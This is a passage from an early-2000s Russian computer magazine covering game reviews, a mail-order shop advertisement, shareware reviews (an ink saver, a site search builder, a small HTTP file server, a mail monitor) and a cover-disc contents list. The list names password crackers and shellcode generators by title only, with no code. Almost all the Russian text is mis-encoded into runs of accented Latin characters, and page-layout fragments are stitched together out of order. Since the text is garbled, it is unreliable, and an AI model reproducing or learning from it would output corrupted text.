áîëüíûõ êîðîâ è ïðèêàëûâàåò,<br />
íî ìåíÿ ëè÷íî íåò. Òåì<br />
áîëåå, èãðà ëèøåíà êàêèõ áû òî<br />
íè áûëî îðèãèíàëüíîñòåé, ïðèêîëîâ,<br />
èçþìèíîê. Ñòàðûé äîáðûé<br />
Moorhun âûãëÿäèò êóäà áîëåå<br />
çàìàí÷èâî.<br />
1 2 3 4<br />
88 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Star Trek: Star<strong>fl</strong>eet Command 3<br />
Strategy/sim<br />
SFC 2, Orion Pirates<br />
Taldren/Activision<br />
P2-450(P3-800), 128(256), 3D<br />
LAN, Èíåò<br />
STSC3 - èãðóøêà, ñîâìåñòèâøàÿ â<br />
ñåáå ñòðàòåãèþ è ëåòàëêó. Âñå,<br />
êàê òåïåðü ìîäíî, íà êîñìè÷åñêóþ<br />
òåìó. Â ïîãîíå çà ðàçíîîáðà-<br />
ÏÐÈÃÎÂÎÐ ÑÐÅÄÍÅ<br />
ÏÐÈÃÎÂÎÐ ËÀÆÀ<br />
Heroeos of Might And Magic:<br />
Wind Of War<br />
Ïîøàãîâàÿ ñòðàòåãèÿ<br />
HoMM 4<br />
New World Computing, 3DO<br />
P3-500 (P4-2GHz), 128 (256), 3D<br />
LAN, Internet, modem, hot-seat<br />
Î÷åðåäíîé àää-îí äëÿ HoMM4.<br />
Íà÷èíêà, êàê âñåãäà, ïðåäñêàçóåìà:<br />
ïàðà íîâûõ ìîíñòðîâ, íåñ-<br />
Tips&Tricks<br />
çèåì æàíðîâ ðàçðàáîò÷èêàì íå<br />
óäàëîñü êà÷åñòâåííî ðåàëèçîâàòü<br />
íè òî, íè äðóãîå.  èòîãå, ïîëó÷èëîñü<br />
íå÷òî íåñåðüåçíîå. Ñèìïàòè÷íàÿ<br />
èãðóøêà íà ëþáèòåëÿ, íî<br />
íå áîëåå. Õîòÿ ïðîãðåññ ïî ñðàâíåíèþ<br />
ñ ïðåäûäóùèìè ÷àñòÿìè<br />
î÷åâèäåí.<br />
êîëüêî àáñîëþòíî òóïûõ êàìïàíèé,<br />
ëèøåííûõ äàæå íàìåêà íà<br />
îðèãèíàëüíîñòü ñþæåòà, è... Âîò<br />
è âñå, â îáùåì-òî. Íè íîâûõ çàìêîâ,<br />
íè íîâûõ ãåðîåâ, íè íîâûõ<br />
àðòåôàêòîâ. Ñëîâîì - õàëòóðà. È<br />
äàæå ñèëüíî ïåðåðàáîòàííûå ðåäàêòîð<br />
êàðò è äâèæîê ñåòåâîé èãðû<br />
íå ñïîñîáíû èñïðàâèòü ïîëîæåíèå.
$ 69,99<br />
Shadowbane<br />
$ 22,99<br />
Command & Conquer:<br />
Generals<br />
$ 39,99<br />
Silent Hill 2<br />
$ 22,99<br />
Anarchy<br />
Online:<br />
Notum Wars<br />
$ 75,99<br />
È Í Ò Å Ð Í Å Ò<br />
(095) 928-6089, (095) 928-0360, (095) 928-3574<br />
Vietcong<br />
Sim City 4<br />
$ 22,99<br />
Tom Clancy's -<br />
Rainbow Six 3:<br />
Raven Shield<br />
$ 75,99<br />
$ 79,99<br />
$ 79,99<br />
Delta<br />
Force:<br />
Black<br />
Hawk<br />
Down<br />
Zanzarah:<br />
The<br />
Hidden<br />
Portal<br />
Tomb Raider:<br />
The Angel of<br />
Darkness<br />
$ 79,99<br />
$ 79,99<br />
Star Wars Galaxies:<br />
An Empire Divided<br />
Neverwinter Nights:<br />
Shadows of Undrentide<br />
$ 25,99<br />
Unreal II:<br />
The Awakening<br />
$ 49,99<br />
Quake III:<br />
Gold Edition<br />
ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ<br />
ÇÀÊÀÇÛ ÏÎ ÈÍÒÅÐÍÅÒÓ — ÊÐÓÃËÎÑÓÒÎ×ÍÎ!<br />
E-MAIL: sales@e-shop.ru<br />
ÇÀÊÀÇÛ ÏÎ ÒÅËÅÔÎÍÓ ÌÎÆÍÎ ÑÄÅËÀÒÜ Ñ 10.00 ÄÎ 21.00 ÁÅÇ ÂÛÕÎÄÍÛÕ<br />
ÒÅËÅÔÎÍÛ: 928-6089, 928-0360, 928-3574<br />
ÌÛ ÏÐÈÍÈÌÀÅÌ ÇÀÊÀÇÛ ÍÀ ËÞÁÛÅ ÀÌÅÐÈÊÀÍÑÊÈÅ ÈÃÐÛ!<br />
$ 69,99<br />
$ 55,99<br />
Ultima<br />
Online: Age<br />
of Shadows<br />
$ 79,99<br />
$ 79,99<br />
The Sims<br />
Online<br />
Freelancer<br />
Dark Age of Camelot:<br />
Gold Edition<br />
$ 79,99<br />
$ 29,99<br />
$ 13,99<br />
(GL) Ôóòáîëêà "Ãîëóáîé<br />
Ýêðàí Ñìåðòè Windows"<br />
ñ ëîãîòèïîì "Õàêåð"<br />
$ 90,99<br />
Grand Theft<br />
Auto: Vice<br />
City -<br />
Soundtrack<br />
Box Set<br />
20th Anniversary<br />
Lucas Arts<br />
Sid Meier's<br />
Civilization III:<br />
Play the<br />
World<br />
$ 79,99<br />
EVE Online: The<br />
Second Genesis<br />
$ 35,99<br />
$ 55,99<br />
(Blizzard)<br />
Warcraft III<br />
Baseball Cap<br />
Star Wars Bounty<br />
Hunter - LI2055<br />
$ 179,99<br />
$ 9,99<br />
Mouse Pad/<br />
Êîâðèê äëÿ<br />
ìûøè<br />
"Îïàñíî äëÿ<br />
æèçíè"
Sony DCR-PC115 E<br />
Digital HandyCam<br />
Ñàóíäòðåê ê èãðå Halo<br />
Final Fantasy XI:<br />
Zippo(R) Lighter<br />
$ 39,99<br />
Sony DCR-IP5E<br />
MICROMV<br />
$ 31,99<br />
$ 1290<br />
$ 1290<br />
(Blizzard) The Art<br />
of Warcraft<br />
Ì À Ã À Ç È Í<br />
(095) 928-6089, (095) 928-0360, (095) 928-3574<br />
HP Jornada 568<br />
$ 399,99<br />
$ 145<br />
Spkrs/ VideoLogic<br />
ZXR-500<br />
Video/ Pinnacle<br />
Systems Studio<br />
PCTV Pro<br />
$ 39,99<br />
Gifts<br />
$ 75<br />
$ 209,99<br />
Jstck/ CH Flight Sim<br />
Yoke USB<br />
$ 789,99<br />
HP iPaq<br />
H5450<br />
mobile computers<br />
�<br />
$ 535,99<br />
$ 95,99<br />
Sony Clie<br />
PEG-NZ90<br />
Super<br />
PDA<br />
$ 830<br />
$ 350<br />
Sony CyberShot Digital<br />
Camera DSC-U20/L<br />
$ 120<br />
Fujitsu-Siemens Pocket<br />
LOOX 600<br />
Sony VCT-680RM<br />
SanDisk<br />
128 MB<br />
CompactFlash<br />
Card<br />
#4(52)<br />
Äà, ß õî÷ó ïîëó÷àòü<br />
ÁÅÑÏËÀÒÍÛÉ ÊÀÒÀËÎÃ E-Shop<br />
Èíäåêñ<br />
Ãîðîä<br />
Óëèöà<br />
Äîì<br />
ÔÈÎ<br />
êîðïóñ<br />
Îòïðàâüòå êóïîí ïî àäðåñó: 101000, Ìîñêâà,<br />
Ãëàâïî÷òàìò, à/ÿ 652, E-Shop<br />
�<br />
êâàðòèðà
ØàðîWAREZ<br />
92<br />
Þíèòû<br />
M.J.Ash (m.j.ash@real.xakep.ru)<br />
InkSaver<br />
v 1.2<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 5003 Kb<br />
Shareware<br />
http://www.inksaver.com<br />
Ïðîãà, ñïîñîáíàÿ çíà÷èòåëüíî ïðîäëèòü ñðîê æèçíè<br />
êàðòðèäæà â òâîåì ñòðóéíîì ïðèíòåðå. Ñïîñîá ýêîíîìèè<br />
– ñòàíäàðòíûé. Ïðèíòåð ïðîñÿò ìåíåå ùåäðî<br />
ðàñõîäîâàòü ÷åðíèëà.  ïðèíöèïå, àíàëîãè÷íîãî ðåçóëüòàòà<br />
ìîæíî äîñòè÷ü, åñëè çàëåçòü â íàñòðîéêè<br />
ïðèíòåðà è âûñòàâèòü òàì, äîïóñòèì, «÷åðíîâîé» ðåæèì<br />
ïå÷àòè âìåñòî «îáû÷íîãî». Ïðîáëåìà â òîì, ÷òî<br />
ÿ, êàê è áîëüøèíñòâî ïîëüçîâàòåëåé, ïîñòîÿííî çàáûâàþ<br />
ïðî ýòè íàñòðîéêè. Ìàññà ÷åðíîâèêîâ, ðàñïå÷àòàííûõ<br />
ñ ìàêñèìàëüíî âîçìîæíûì êà÷åñòâîì, è ñîòíè<br />
âàæíûõ äîêóìåíòîâ, îòïðàâëåííûõ â êîðçèíó äëÿ áóìàã<br />
èç-çà ñâîåé ÷ðåçâû÷àéíîé áëåäíîñòè, ìîãóò ýòî<br />
ïîäòâåðäèòü. Ïðè èñïîëüçîâàíèè æå InkSaver ïîäîáíîé<br />
ïðîáëåìû íå âîçíèêàåò. Äåëî â òîì, ÷òî ýòà ïðîãà<br />
âñåãäà ñïðàøèâàåò òåáÿ, ñ êàêèì êà÷åñòâîì òû õî-<br />
÷åøü ðàñïå÷àòàòü òîò èëè èíîé äîêóìåíò. Òî åñòü ñòîèò<br />
òåáå ÷òî-ëèáî îòïðàâèòü íà ïðèíòåð, êàê îêîøêî<br />
InkSaver ìîìåíòàëüíî âûïðûãèâàåò íà ýêðàí. Çà òàêîå<br />
ïîâåäåíèå îòâå÷àåò îïöèÿ InkSaver Ask Before<br />
Printing, ÷òî íàõîäèòñÿ â ìåíþ íàñòðîéêè ïðîãðàììû<br />
íà âêëàäêå Current Ink Settings tab.<br />
×åì åùå ðàäóåò InkSaver ïîëüçîâàòåëÿ? Òåì, ÷òî ðàñõîä<br />
÷åðíèë (êà÷åñòâî ïå÷àòè) ìîæíî ðåãóëèðîâàòü<br />
ïëàâíî – ñ ïîìîùüþ ïîëçóíêîâ. Ïðè ýòîì îäèí ïîëçóíîê<br />
îòâå÷àåò çà ÷åðíîé êàðòðèäæ, âòîðîé – çà öâåòíîé.<br />
Ñîðèåíòèðîâàòüñÿ, êàê ïîëîæåíèå ïîëçóíêîâ âëèÿåòå<br />
íà êà÷åñòâî ïå÷àòè, ìîæíî ïî òåñòîâîé ñòðàíèöå, êîòîðóþ<br />
ïðîãðàììà ïðåäëàãàåò âûâåñòè íà ïðèíòåð åùå<br />
ïðè óñòàíîâêå. Íó è, åñòåñòâåííî, ïîäîáíàÿ ïðîãà íå<br />
ìîãëà îáîéòèñü áåç âñòðîåííîãî ìåõàíèçìà ïîäñ÷åòà<br />
ñýêîíîìëåííûõ ñ åå ïîìîùüþ äåíåã.<br />
InkSaver çíàêîìà ñ áîëüøèíñòâîì ñòðóéíûõ ïðèíòåðîâ<br />
Epson, HP è Canon. Ïîëíûé ñïèñîê ïîääåðæèâàåìûõ ìîäåëåé<br />
íàõîäèòüñÿ íà îôèöèàëüíîì ñàéòå ïðîãðàììû.<br />
Search Maker Pro v 2.5<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 3129 Kb<br />
Shareware<br />
http://www.searchmakerpro.com<br />
ß ðàíüøå äóìàë, ÷òî áåç<br />
èñïîëüçîâàíèÿ ñêðèïòîâ<br />
îáîðóäîâàòü âåá-ñàéò ïîèñêîâûì<br />
ìåõàíèçìîì íåâîçìîæíî.<br />
ß îøèáàëñÿ.<br />
Îêàçûâàåòñÿ, ñ ïîìîùüþ<br />
ïðîãðàììû Search Maker<br />
Pro ïîèñêîâèê ìîæíî<br />
ïðèñîáà÷èòü ê ëþáîìó<br />
ñàéòó. Ïðè÷åì – áåç îñîáîãî<br />
òðóäà! Äëÿ ýòîãî<br />
äîñòàòî÷íî íàòðàâèòü<br />
Search Maker Pro íà ñâîé<br />
âåá-ñàéò, èëè, ñêàæåì,<br />
íà íàáîð âåá-ñòðàíè÷åê,<br />
ñâàëåííûõ â êàêîì-íèáóäü<br />
êàòàëîãå íà òâîåì<br />
âèí÷å, à çàòåì ïðàâäèâî<br />
îòâå÷àòü íà âîïðîñû Ìàñòåðà.<br />
Åñëè âñå ñäåëàòü<br />
ïðàâèëüíî, òî Search<br />
Maker Pro çàãëîòèò óêàçàííûå<br />
òîáîé âåá-ñòðàíè÷êè,<br />
à çàòåì âûïëþíåò<br />
ãîòîâûé HTML-ôàéë,<br />
âêëþ÷àþùèé â ñåáÿ êàê<br />
ñàì ïîèñêîâèê, òàê è áàçó äàííûõ ê íåìó. Äîñòàòî÷íî ïðèñòðîèòü ýòîò ôàéë íà ñâîé âåá-ñåðâåð, è<br />
âîò óæå ó òåáÿ åñòü ðåàëüíûé ïîèñêîâûé ìåõàíèçì, êîòîðûé ïîíèìàåò çàïðîñû íà ðóññêîì ÿçûêå è<br />
âûäàåò î÷åíü ïðèÿòíûå è ðàçâåðíóòûå îòâåòû. Ïîäîãíàòü åãî äèçàéí ïîä äèçàéí ñâîåãî ñàéòà äëÿ<br />
òåáÿ, ÿ äóìàþ, òðóäà íå ñîñòàâèò. Íó à ïîñêîëüêó ýòîò ïîèñêîâèê áóäåò âûïîëíåí èñêëþ÷èòåëüíî íà<br />
JavaScript, òî îí áóäåò ðàáîòàòü íå òîëüêî íà õàëÿâíîì õîñòèíãå, íî è áóäó÷è çàïèñàííûì íà êîìïàêò-äèñê.<br />
À ÷òî? Ýòî ìûñëü! Òàêèì îáðàçîì îáû÷íûå çàëåæè âåá-ñòðàíèö, áåññèñòåìíî íàäåðãàííûõ<br />
èç Ñåòè äëÿ îôëàéíîâîãî ïðîñìîòðà, ìîæíî ëåãêî ïðåâðàùàòü â ñèìïàòè÷íûå Àðõèâû èëè äàæå<br />
Ýíöèêëîïåäèè.<br />
Http File Server v 1.3 beta<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 270 Kb<br />
Freeware<br />
http://www.rejetto.com/sw<br />
Àñüêà – ìàñò äàé, à &RQ – ðóëåç ôîðåâà!<br />
 ýòîì ëåãêî ìîæåò óáåäèòüñÿ êàæäûé,<br />
êòî ñêà÷àåò ñ www.asechka.ru ðóñèôèöèðîâàííóþ<br />
âåðñèþ RQ’øêè (îáÿçàòåëüíî -<br />
ñ b-zonedesign theme. Ýòî ñêèí òàêîé:).<br />
Íà ìîé âçãëÿä, òîëüêî çà òî, ÷òî ñîîáùåíèÿ<br />
îò ðàçíûõ êîíòàêòîâ ðàçìåùàþòñÿ â<br />
îäíîì îêíå, à ïåðåõîä îò îäíîãî äèàëîãà<br />
ê äðóãîìó îñóùåñòâëÿåòñÿ ùåë÷êîì ïî<br />
íóæíîé çàêëàäêå, ýòîìó êëîíó ìîæíî<br />
ïðîñòèòü âñå, ÷òî óãîäíî. Õîòÿ êîå-÷òî,<br />
ñîãëàñåí, èíîãäà ìåøàåò íàñëàæäàòüñÿ<br />
âèðòóàëüíûì îáùåíèåì. ×àùå âñåãî –<br />
íåâîçìîæíîñòü îáìåíà ôàéëàìè ñ ïîëüçîâàòåëÿìè<br />
îáû÷íîé àñüêè. Êîíå÷íî,<br />
íè÷òî òåáå íå ìåøàåò ïîñëàòü ïðèÿòåëþ<br />
ôàéë ìûëîì, íî òû æå çíàåøü, êàê â íàøè<br />
äíè ðàáîòàåò ïî÷òà (äàæå ýëåêòðîííàÿ).<br />
Íåò, âñå-òàêè õî÷åòñÿ îáìåíèâàòüñÿ ôàéëàìè íàïðÿìóþ. Íî ñòàâèòü ðàäè ýòîãî àñüêó? Íè-çà-÷òî! Ê<br />
òîìó æå ýòà ïðîáëåìà ëåãêî ðåøàåòñÿ ñ ïîìîùüþ Http File Server – åùå îäíîé ðàçðàáîòêè àâòîðà &RQ.<br />
Êîãäà òåáå íóæíî îòäàòü êîìó-íèáóäü ñâîé ôàéë (êîìó óãîäíî: çíàêîìîìó â ÷àòå, äðóãó ïî ïåðåïèñêå,<br />
äðóãîìó ïîëüçîâàòåëþ RQ), òû ïðîñòî çàïóñêàåøü ýòó ïðîãó, ïåðåòàñêèâàåøü â åå îêíî ôàéë(û) è ïàïêè,<br />
êîòîðûå õî÷åøü ñäåëàòü îáùåäîñòóïíûìè, è ñîîáùàåøü ñîáåñåäíèêó ñâîé IP-àäðåñ. Òîò, â ñâîþ î÷åðåäü,<br />
çàïóñêàåò ëþáèìóþ áðîäèëêó, íàáèðàåò â àäðåñíîé ñòðîêå http://òâîé_IP_àäðåñ è âèäèò ñïèñîê<br />
ôàéëîâ, äîñòóïíûõ äëÿ ñêà÷èâàíèÿ (ñàìî ñîáîé, â ýòîì ñïèñêå ïðèñóòñòâóþò ëèøü òå ôàéëû, êîòîðûå òû<br />
ðåøèë ðàñøàðèòü :). Íàäî ëè ãîâîðèòü î òîì, ÷òî, âûáðàâ èíòåðåñóþùèé åãî ôàéë, òâîé ïðèÿòåëü ìîæåò<br />
íàòðàâèòü íà íåãî ëþáèìóþ êà÷àëêó? Äóìàþ, íåò. Ëó÷øå îòìå÷ó, ÷òî îòäàâàòü ôàéëû ÷åðåç Http File<br />
Server ÷ðåçâû÷àéíî ïðèÿòíî: ìîæíî ðàñøàðèòü ñðàçó íåñêîëüêî ôàéëîâ, ê òåáå ìîãóò ïîäêëþ÷èòüñÿ îäíîâðåìåííî<br />
íåñêîëüêî ïîëüçîâàòåëåé. Ïðè ýòîì òû âñåãäà äåðæèøü ñèòóàöèþ ïîä êîíòðîëåì: Http File<br />
Server ïîçâîëÿåò êèêàòü íåïðîøåííûõ âèçèòåðîâ, èêîíêà â òðåå ñèãíàëèçèðóåò î ïîÿâëåíèè ãîñòåé, à â<br />
ñâîåì ãëàâíîì îêíå ïðîãðàììà íàãëÿäíî ïîêàçûâàåò, êòî ê òåáå çàøåë è çà÷åì.
Magic Mail<br />
Monitor v 2.94 b5<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 103 Kb<br />
Freeware<br />
http://mmm3.sourceforge.net<br />
Óòèëèòà äëÿ ìîíèòîðèíãà ïî÷òîâûõ (POP3) ÿùèêîâ. Åäèíñòâåííûé ñåðüåçíûé<br />
êîíêóðåíò SimpleCheck (www.simplecheck.net), ïðè÷åì – áåñïëàòíûé.<br />
Ïðîãà ïîÿâèëàñü íà ñâåò ÷åðò çíàåò êîãäà, íî òîëüêî ñåé÷àñ îíà íàêîíåö-òî<br />
íàó÷èëàñü íîðìàëüíî ïîêàçûâàòü çàãîëîâêè ïèñåì, íàïèñàííûõ â KOI8-R, è<br />
îáçàâåëàñü ïðîñòåíüêîé ñèñòåìîé ôèëüòðîâ.<br />
Magic Mail Monitor ïîääåðæèâàåò íåîãðàíè÷åííîå êîëè÷åñòâî ïî÷òîâûõ àêêàóíòîâ,<br />
ïîçâîëÿåò çàäàâàòü ïåðèîäè÷íîñòü èõ ïðîâåðêè â àâòîìàòè÷åñêîì<br />
ðåæèìå è ïðåäëàãàåò íåñêîëüêî âàðèàíòîâ îïîâåùåíèÿ (çâóêîì, ìèãàíèåì<br />
èêîíêè â ñèñòåìíîì òðåå èëè âñïëûâàþùèì îêîøêîì) î ïîÿâëåíèè ñâåæåé<br />
ïî÷òû. Òåêóùåå ñîñòîÿíèå òâîèõ ïî÷òîâûõ ÿùèêîâ îòîáðàæàåòñÿ â ãëàâíîì<br />
îêíå ïðîãðàììû, ïðè÷åì çàãîëîâêè íåïðî÷èòàííûõ ïèñåì â ýòîì îêíå çàáîòëèâî<br />
âûäåëÿþòñÿ æèðíûì øðèôòîì. Êëèêàÿ ïî ïèñüìàì ïðàâîé êíîïêîé<br />
ìûøè, ìîæíî ÷åðåç êîíòåêñòíîå ìåíþ áûñòðî ïðîñìàòðèâàòü òåêñòîâóþ<br />
÷àñòü ëþáîãî ïî÷òîâîãî ñîîáùåíèÿ è óáèâàòü ñïàì ïðÿìî íà ñåðâåðå.<br />
Âåñèò Magic Mail Monitor äî ñìåøíîãî ìàëî, ê òîìó æå ðàáîòàåò áåç èíñòàëëÿöèè<br />
è ñîâåðøåííî íåòðåáîâàòåëüíà ê ðåñóðñàì. Îäíèì ñëîâîì –<br />
«ïîëåçíÿøêà». Ïðèñìîòðèñü – ìîæåò áûòü, èìåííî åå òåáå äî ñèõ ïîð è<br />
íå õâàòàëî, à?<br />
HTMLSpy v 1.03<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 322 Kb<br />
Shareware<br />
http://www.softexe.com/htmlspy.html<br />
Îðèãèíàëüíàÿ ïðèìî÷êà<br />
ê ìàñòäàéñêîìó<br />
îñëèêó, ñóùåñòâåííî<br />
îáëåã÷àþùàÿ<br />
ïðîöåññ èçó÷åíèÿ<br />
HTML-êîäà ÷óæèõ<br />
âåá-ñòðàíèö. Ê ïðèìåðó,<br />
ñòðàíñòâóåøü<br />
òû ïî Ñåòè, è âäðóã<br />
íà îäíîì èç ñàéòîâ<br />
òâîå âíèìàíèå ïðèâëåêàåò<br />
êàêîé-íèáóäü<br />
íåîáû÷íûé ýëåìåíò<br />
âåá-ñòðàíèöû. Áåç<br />
HTMLSpy òåáå ïðèäåòñÿ<br />
ìèíóò äåñÿòü<br />
ðûòüñÿ â èñõîäíèêàõ,<br />
÷òîáû âûÿâèòü òîò êóñîê<br />
êîäà, êîòîðûé<br />
ýòîìó ýëåìåíòó ñîîòâåòñòâóåò. Ñ HTMLSpy âñå ãîðàçäî ïðîùå: äîñòàòî÷íî<br />
ùåëêíóòü ïðàâîé êíîïêîé ìûøè ïî ýòîìó ýëåìåíòó, âûáðàòü â êîíòåêñòíîì<br />
ìåíþ ïóíêò «HTMLSpy», è íà ýêðàíå òóò æå ïîÿâèòñÿ ñïåöèàëüíîå<br />
îêîøêî ñ èñõîäíûì òåêñòîì ïîäîïûòíîé âåá-ñòðàíè÷êè, â êîòîðîì ôðàãìåíò<br />
êîäà íà ýëåìåíò ñòðàíèöû, óêàçàííûé êóðñîðîì ìûøè, áóäåò ñòàðàòåëüíî<br />
âûäåëåí! Äàëåå ýòîò ôðàãìåíò ìîæíî íå ñïåøà èçó÷àòü, ñîõðàíèòü<br />
íà áóäóùåå (Save selected) èëè, òàê íè÷åãî è íå ïîíÿâ, ñêèíóòü íà<br />
äèñê âñþ ñòðàíè÷êó öåëèêîì.
ØàðîWAREZ<br />
94<br />
Þíèòû<br />
M.J.Ash (www.xknows.com, m.j.ash@real.xakep.ru)<br />
Evolution 1.2.4<br />
Opera for Linux 7.0 PR 2<br />
avp for Linux<br />
WorkStation 4.0<br />
Shell-codes<br />
and generators<br />
Packit 0.5.0b<br />
ÑÎÔÒ<br />
ÌÓÇÛÊÀ<br />
Rave Energy Vault / [DLC]team<br />
Away / Rand / SandS<br />
Le Chemin Mauve / Med / Jecoute<br />
ÄÅÌÊÈ<br />
Vapaa Valinta / Matt Current<br />
Red Line / Equinoxe<br />
El Bourrrinos / MARSHALS<br />
SpyStopper 2.45<br />
PagePromoter 5.2<br />
Zero Spam 3.0<br />
Getright 5.0<br />
XviD 30-03-2003<br />
FineCrosser 1.0.4.147 Free<br />
SecureIt Pro 4.70<br />
WinGuard Pro Free 5.2.1<br />
LockIt! 2000 RC1<br />
Protect Exe 0.4 beta<br />
Security Administrator 9.3<br />
LAN Supervisor 2.6.0<br />
ExeLock Express 1.01<br />
StealthDisk 3.5<br />
Hide Files 2.3<br />
ORiEN 1.03<br />
WinRollBack PRIVATE 1.0 + SP1<br />
Folder Guard Professional 5.5<br />
Net Block Pro RE 1.33<br />
Easy CD-DA Extractor 5.07<br />
Windows Media Player 9 RUS<br />
Windows Media Encoder 9 RUS<br />
Jasc Paint Shop Pro 7.04<br />
Of<strong>fl</strong>ine Explorer Enterprise 2.7 SR3<br />
Serv-U 4.1.0.3<br />
ATI Multimedia Center 8.1<br />
Âèçèòêà 1.01<br />
CoolProxy 1.3.0.201<br />
Windows Application Compatibility<br />
Toolkit 2.6<br />
Q815411_WXP_SP2<br />
InkSaver 1.2<br />
AVCataloger 3.0<br />
TexNotes 3.2<br />
Http File Server 1.3 beta<br />
Magic Mail Monitor 2.94 b5<br />
Imatch 3.2<br />
Search Maker Pro 2.5<br />
HTMLSpy 1.03<br />
Desktop Wallpaper Calendar 3.0<br />
Folder Guard 5.5<br />
NMI's Java Code Viewer 6.0<br />
Whisper32 1.14<br />
PINs 4.20<br />
Personal Passworder 3.4<br />
Password Agent 2.2.1<br />
ListTV<br />
TVAgent<br />
TVGuide<br />
"ÒÂ ïðîãðàììà"<br />
WinLIRC<br />
BSPlayer<br />
Remote Control<br />
Girder<br />
IREX<br />
PC Remote Control<br />
SlyControl<br />
X-Ray<br />
POP3 Catcher<br />
Advanced Email Parser<br />
DES 2.67<br />
SiemensDataSuit 1.0<br />
Siemens emulators<br />
Internet Security 5.0<br />
McAfee Firewall 4.0<br />
TCPView 2.31<br />
IE'en 0.5.0<br />
NTPower 3.8<br />
IP-Tools 2.20<br />
Eraser 5.6<br />
Virtual Network Computing 3.3.7<br />
Cain & Abel v2.5beta29<br />
Ping Plotter 2.40<br />
TracePlus Win32 3.06.001<br />
Stunnel 4.04<br />
LaBrea 2.4b3<br />
L0phtCrack+ 4.00<br />
FineCrypt 8.1<br />
Desktop Wallpaper<br />
Calendar v 3.0<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 3011 Kb<br />
Shareware<br />
http://www.zepsoft.com/wallcal<br />
VER 04.03 (52)<br />
TRASH<br />
Êîìïîíåíòû Delphi è C++ Builder<br />
Ñîðöû ïðîã èç Êîäèíãà<br />
Legion of the Bouncy Castle Java<br />
Cryptography API 1.18<br />
cBigNumber v. 1.0<br />
X-Wallpapers<br />
Ñïðàâî÷íèê ïî ðååñòðó Windows<br />
HTML â ïðèìåðàõ<br />
Íàðîäíûå ñîâåòû<br />
Config Master 3.0<br />
Ìîé ëþáèìûé íàñòîëüíûé êàëåíäàðü. Ðàíåå áûë øèðîêî èçâåñòåí â óçêèõ êðóãàõ ïîä íàçâàíèåì<br />
Acidude Wallpaper Calendar. Ïîòîì, ïðàâäà, ïðîãà êàê-òî âíåçàïíî ñìåíèëà è èìÿ, è àäðåñ, òàê<br />
÷òî ÿ íà êàêîå-òî âðåìÿ äàæå ïîòåðÿë åå èç âèäó. Íó à êîãäà íàøåë, âûÿñíèëîñü, ÷òî ïðîãà óñïåëà<br />
ñåðüåçíî îáíîâèòüñÿ. Íî ãëàâíîå, ñàìî ñîáîé, îñòàëîñü íåèçìåííûì. Desktop Wallpaper<br />
Calendar ïî-ïðåæíåìó çàíèìàåòñÿ íàëîæåíèåì ïîëóïðîçðà÷íîãî êàëåíäàðÿ íà ìåñÿö (íåäåëþ)<br />
íà òâîè ëþáèìûå îáîè. Òî÷íåå, îíà âïå÷àòûâàåò êàëåíäàðü ïðÿìî â íèõ, ïîñêîëüêó ïðîãó ìîæíî<br />
çàêðûòü, à èçîáðàæåíèå íà ýêðàíå îò ýòîãî íå èçìåíèòñÿ. Åñòåñòâåííî, âíåøíèé âèä, ðàçìåðû è<br />
ñòåïåíü ïðîçðà÷íîñòè ýòîãî êàëåíäàðÿ ìîæíî ìåíÿòü â øèðîêèõ ïðåäåëàõ. Òàêæå ïðîãðàììà ïîçâîëÿåò<br />
ïîëüçîâàòåëþ âïèñûâàòü òåêñòû-íàïîìèíàíèÿ â ëþáóþ ÿ÷åéêó (ïîïðîáóé-êà êëèêíóòü ïî<br />
íóæíîé äàòå òðè ðàçà!) è âûäåëÿòü ïðàçäíè÷íûå äíè. Ïîìèìî âñåãî ýòîãî, Wallpaper Calendar<br />
óìååò ñ çàäàííûì èíòåðâàëîì ìåíÿòü ôîíîâóþ êàðòèíêó (îáîè), ðàñòÿãèâàÿ åå, åñëè íåîáõîäèìî,<br />
íà âåñü ýêðàí è íàêëàäûâàÿ íà íåå ðÿä ýôôåêòîâ äëÿ ñîõðàíåíèÿ åäèíîãî ñòèëÿ. Â ðåçóëüòàòå<br />
íà ìîíèòîðå âîçíèêàåò çðåëèùå îøåëîìëÿþùåé êðàñîòû. Òåì, êòî Desktop Wallpaper Calendar<br />
åùå íå âèäåë, - êà÷àòü îäíîçíà÷íî! Òåì, êòî äî ñèõ ïîð þçàåò ñòàðóþ âåðñèþ, - òåì áîëåå.<br />
ÄÐÀÉÂÅÐÀ<br />
VER 04.03 (52)<br />
Logitech<br />
NVIDIA<br />
Broadcom<br />
Analog Devices<br />
Realtek<br />
SiS<br />
ÞÍÈÊÑ<br />
ßäðà 2.5.66, 2.2.25<br />
Winex<br />
XPde 0.3.0<br />
Gammu 0.68<br />
Linux Security Auditing Tool 0.6.4<br />
Nautilus 2.2.2<br />
AVCataloger<br />
v 3.0<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 17611 Kb<br />
Shareware<br />
http://www.nc-software.com<br />
 ìàðòå ìû ðàññìàòðèâàëè íåñêîëüêî ïðîãðàìì, êîòîðûì ìîæíî<br />
áûëî áû äîâåðèòü âåäåíèå äîìàøíåé ôèëüìîòåêè. Åñëè òû ýòîò<br />
íîìåð ïî÷åìó-òî ïðîïóñòèë, íàïîìíþ, ÷òî ðå÷ü òîãäà øëà îá «óìíîì»<br />
ñîôòå, ñïîñîáíîì ñàìîñòîÿòåëüíî ñêà÷èâàòü èç Ñåòè èíôîðìàöèþ<br />
îá èìåþùèõñÿ ó òåáÿ ôèëüìàõ. Ïîñêîëüêó íà ìîåé ìàøèíå<br />
ôèëüìàìè çàíÿòî ìåãàáàéò âîñåìüäåñÿò, íàëè÷èå ïðîãðàìì ñ<br />
òàêèìè ñïîñîáíîñòÿìè ïðèâîäèò ìåíÿ â ïîëíûé âîñòîðã. Áîëåå<br />
òîãî, ÿ äî ñèõ ïîð íèêàê íå ìîãó ðåøèòü, ÷òî ìíå áîëüøå íðàâèòñÿ:<br />
